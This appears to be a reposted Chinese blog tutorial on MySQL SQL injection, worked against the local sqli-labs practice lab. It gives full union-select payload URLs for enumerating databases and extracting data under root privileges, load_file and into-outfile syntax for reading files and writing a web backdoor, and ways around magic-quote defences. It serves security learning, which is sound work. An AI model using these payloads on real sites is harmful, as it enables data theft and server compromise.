热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

02_SQL注入_Mysql注入_高权限操作&数据读写&简单的防护策略

02_SQL注入_Mysql注入_高权限操作&数据读写&简单的防护策略

02_SQL注入_Mysql注入_高权限操作&数据读写&简单的防护策略

1.root权限&开发中的权限设置

在实际开发中往往会出现一个网站对应一个数据库,而一个数据库对应一个特定管理员的情况。(假设情景中,开发使用的数据库都是Mysql数据库)。考虑第一个情景:比如A网站对应数据库A,而数据库A对应管理员A,如果存在注入点的情况下,测试出是数据库管理员A的权限在操作该网站数据库A,那么在不获取更高级权限的情况下,只能进行对本网站数据库A的本站注入操作。考虑第二个情景:B网站和C网站部署在同一个服务器上,共用同一个数据库,存在注入点的情况下,测试出B网站采用的是root权限登录,那么测试者就可以通过B网站对C网站的信息进行跨库查询,这是因为root权限是Mysql中的最高权限,能够操作数据库系统中所有的数据库。

数据库权限往往和开发代码中的配置文件有关,如以下代码中

  • //including the Mysql connect parameters.
    **include("../sql-connections/sql-connect.php");**
    error_reporting(0);
    ···

页面源码中找到如下路径/sql-connections/sql-connect.php

根据路径找到如下相关代码

  • //including the Mysql connect parameters. include("../sql-connections/db-creds.inc"); @error_reporting(0);

最终在db-creds.inc文件中找到相关配置代码,可以看出该网站使用的就是root权限操控数据库

- ` `$dbuser ='root';`
`$dbpass ='root';`
`$dbname ="security";`
`$host = 'localhost';`
$dbname1 = "challenges";``?>`

2.Mysql 5.0以上的跨库查询

2.1 information_schema 信息库实用表名和列名

【说明:低版本可以工具(如sqlmap)实现字典爆破,工具的使用不在这里介绍】

在上一篇博文中介绍了Mysql 5.0 中的information_schema内置数据库:

常用表名(tables)

  • 1、SCHEMATA:提供了当前mysql实例中所有数据库的信息。
  • 2、TABLES:提供了关于数据库中的的信息。
  • 3、COLUMNS:提供了信息。
  • 4、STATISTICS表:提供了关于表索引的信息。
  • 5、USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。
  • 6、SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。
  • 7、TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。
  • 9、CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

常用列名(columns)

  • 1、table_name:表名
  • 2、column_name:列名
  • 3、table_schema:数据库名
  • 4、schema_name:数据库名–schemata库中

2.2 案例测试:sqli-labs靶场实现高权限跨库查询

(本案例没有目标就是单纯的查询整理一个操作思路,竞赛中可以通过此方式获取同一服务器其他网站的敏感信息)

Step 1.测试注入点存在与否

http://127.0.0.1/sqli-labs-master/Less-2/?id=1

回显正常在这里插入图片描述

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%201=-1

回显异常
在这里插入图片描述

判断存在注入点

Step 2.报错尝试

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20order%20by%204
在这里插入图片描述

根据此回显判断假逻辑的拼接语句为 union select 1,2,3

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,3
在这里插入图片描述
判断联合查询中反复替换2,3字段为回显对象即可

Step 3. 信息收集

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),user()
在这里插入图片描述
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,version(),user()
在这里插入图片描述
可以得到如下可利用信息(其中假设Mysql在初步收集中已经通过站点扫描工具得到)

  • 数据库系统:Mysql
  • version :5.7.26
  • database : security
  • user :root

思路:

版本5.7.26说明可以采用高版本思路:information_schema库存在

用户是root权限说明可以通过当前站点操作整个数据库

Step 4. 数据注入

获取所有数据库名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3 from information_schema.schemata
在这里插入图片描述
获取目标表名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'
在这里插入图片描述

获取目标列名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_name='s80u0rkaf8'
在这里插入图片描述
获取目标值

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(sessid),group_concat(secret_1TTT) from challenges.s80u0rkaf8
在这里插入图片描述自此我们在security数据库对应的页面中,拿到了challenge表的信息

3. Mysql文件读写和简单的防御策略

3.1 路径获取和读写语法

路径的获取方法

不管是文件写入和文件读取,都需要知道一个路径作为参数,以下介绍几种获取路径的常用思路:

报错显示:网站错误的时候会显示出文件的路径 warning;

遗留文件:phpinfo.php敏感文件扫描;

漏洞报错:根据CMS和白引擎进行关键字搜索 “CMS + 爆路径”;

平台配置文件:根据环境来,尝试一些默认路径,但往往是会改动的,比较难找;

暴力破解:常规思路,尝试常见路径爆破;

文件读写:

读取函数:load_file(),语法: select load_file("path") 可以读取网站的配置信息,网站路径等

写入后门操作,直接再网站目录中写入后门脚本 select ‘x’ int outfile’path’–+

3.2 防御策略

对于sql注入的一种防御策略是

1、平台自带策略

魔术引号为例:magic_quotes_gpc

在一个项目中,魔术引号若是打开的话,所有的反斜线(\)、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义,我们注入的语句中,可能包含大量的以上符号,打开魔术引号,可以对我们的明文注入产生干扰。

绕过方式也很简单:采用宽字符注入或者使用工具对我们注入的值进行编码转换成Hex十六进制

2、使用内置函数将代码写严谨

addslashed(),is_array(),is_integer()

例如:如下代码,严格限制id为整数

  • $id=$_GET['id'];
    if(is_integer($id)){
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    echo '语句已执行'
    }
    else{
    echo'不要乱搞'
    ``}`

3、关键字替换

$id=str_replace('select','lallalala',$id);

上述代码将id中的select关键词替换成无效语句,一定程度上也能避免注入操作,当然windows中不区分大小写,锁业如果采用这种思路需要充分考虑所有可能绕过安全机制的方案。

4、WAF产品

基本WAF产品也是通过一些过滤机制防止注入,本篇不对WAF绕过进行讲解


版权声明:本文为qq_42171569原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/qq_42171569/article/details/124309302
推荐阅读
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • PHP设置MySQL字符集的方法及使用mysqli_set_charset函数
    本文介绍了PHP设置MySQL字符集的方法,详细介绍了使用mysqli_set_charset函数来规定与数据库服务器进行数据传送时要使用的字符集。通过示例代码演示了如何设置默认客户端字符集。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 本文由编程笔记小编整理,介绍了PHP中的MySQL函数库及其常用函数,包括mysql_connect、mysql_error、mysql_select_db、mysql_query、mysql_affected_row、mysql_close等。希望对读者有一定的参考价值。 ... [详细]
  • 本文介绍了使用PHP实现断点续传乱序合并文件的方法和源码。由于网络原因,文件需要分割成多个部分发送,因此无法按顺序接收。文章中提供了merge2.php的源码,通过使用shuffle函数打乱文件读取顺序,实现了乱序合并文件的功能。同时,还介绍了filesize、glob、unlink、fopen等相关函数的使用。阅读本文可以了解如何使用PHP实现断点续传乱序合并文件的具体步骤。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文介绍了通过ABAP开发往外网发邮件的需求,并提供了配置和代码整理的资料。其中包括了配置SAP邮件服务器的步骤和ABAP写发送邮件代码的过程。通过RZ10配置参数和icm/server_port_1的设定,可以实现向Sap User和外部邮件发送邮件的功能。希望对需要的开发人员有帮助。摘要长度:184字。 ... [详细]
author-avatar
先森还爱么z
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有